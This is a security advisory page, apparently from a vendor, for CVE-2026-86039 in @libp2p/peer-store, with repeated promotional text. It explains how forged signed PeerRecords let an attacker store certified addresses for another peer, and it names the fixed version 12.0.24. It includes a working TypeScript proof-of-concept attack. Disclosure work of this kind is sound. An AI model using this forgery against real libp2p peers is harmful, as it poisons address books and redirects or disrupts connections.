Summary
libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses
@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.
Details
The vulnerable code is in packages/peer-store/src/index.ts:
RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)verifies the envelope signature.const peerId = peerIdFromCID(envelope.publicKey.toCID())derives the envelope signer peer ID.- The optional
expectedPeercheck only comparesexpectedPeerto the envelope signer. const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)decodespeerRecord.peerIdfrom attacker-controlled signed payload bytes.this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })stores the addresses under the payload peer ID, not the verified signer peer ID.
The missing invariant is:
peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))
packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:
if (!peerRecord.peerId.equals(envelopePeer)) {
throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')
}
The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:
peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })
This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.
PoC
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'
const label = 'Certified peer-record address hijack'
async function main (): Promise<void> {
const localKey = await generateKeyPair('Ed25519')
const attackerKey = await generateKeyPair('Ed25519')
const victimKey = await generateKeyPair('Ed25519')
const attacker = peerIdFromPrivateKey(attackerKey)
const victim = peerIdFromPrivateKey(victimKey)
const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')
const peerStore = persistentPeerStore({
peerId: peerIdFromPrivateKey(localKey),
datastore: new MemoryDatastore(),
events: new TypedEventEmitter(),
logger: defaultLogger()
})
// Payload claims victim, but the envelope is signed by attacker.
const forgedRecord = new PeerRecord({
peerId: victim,
multiaddrs: [attackerAddr],
seqNumber: 999999n
})
const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)
// Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
expectedPeer: attacker
})
assert.equal(accepted, true)
const poisonedVictim = await peerStore.get(victim)
assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
multiaddr: multiaddr.toString(),
isCertified
})), [{
multiaddr: attackerAddr.toString(),
isCertified: true
}])
console.log(`${label} reproduced`)
console.log(`attacker signer: ${attacker}`)
console.log(`victim storage key: ${victim}`)
console.log(`stored certified address: ${attackerAddr}`)
}
main().catch(err => {
console.error(err)
process.exitCode = 1
})
Expected output:
Certified peer-record address hijack reproduced
attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj
victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn
stored certified address: /ip4/203.0.113.66/tcp/4001
Impact
Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.
This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.
CVE-2026-86039 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (12.0.24); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-86039? CVE-2026-86039 is a high-severity security vulnerability in @libp2p/peer-store (npm), affecting versions >= 8.0.0, < 12.0.24. It is fixed in 12.0.24.
- How severe is CVE-2026-86039? CVE-2026-86039 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @libp2p/peer-store are affected by CVE-2026-86039? @libp2p/peer-store (npm) versions >= 8.0.0, < 12.0.24 is affected.
- Is there a fix for CVE-2026-86039? Yes. CVE-2026-86039 is fixed in 12.0.24. Upgrade to this version or later.
- Is CVE-2026-86039 exploitable, and should I be worried? Whether CVE-2026-86039 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-86039 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-86039? Upgrade
@libp2p/peer-storeto 12.0.24 or later.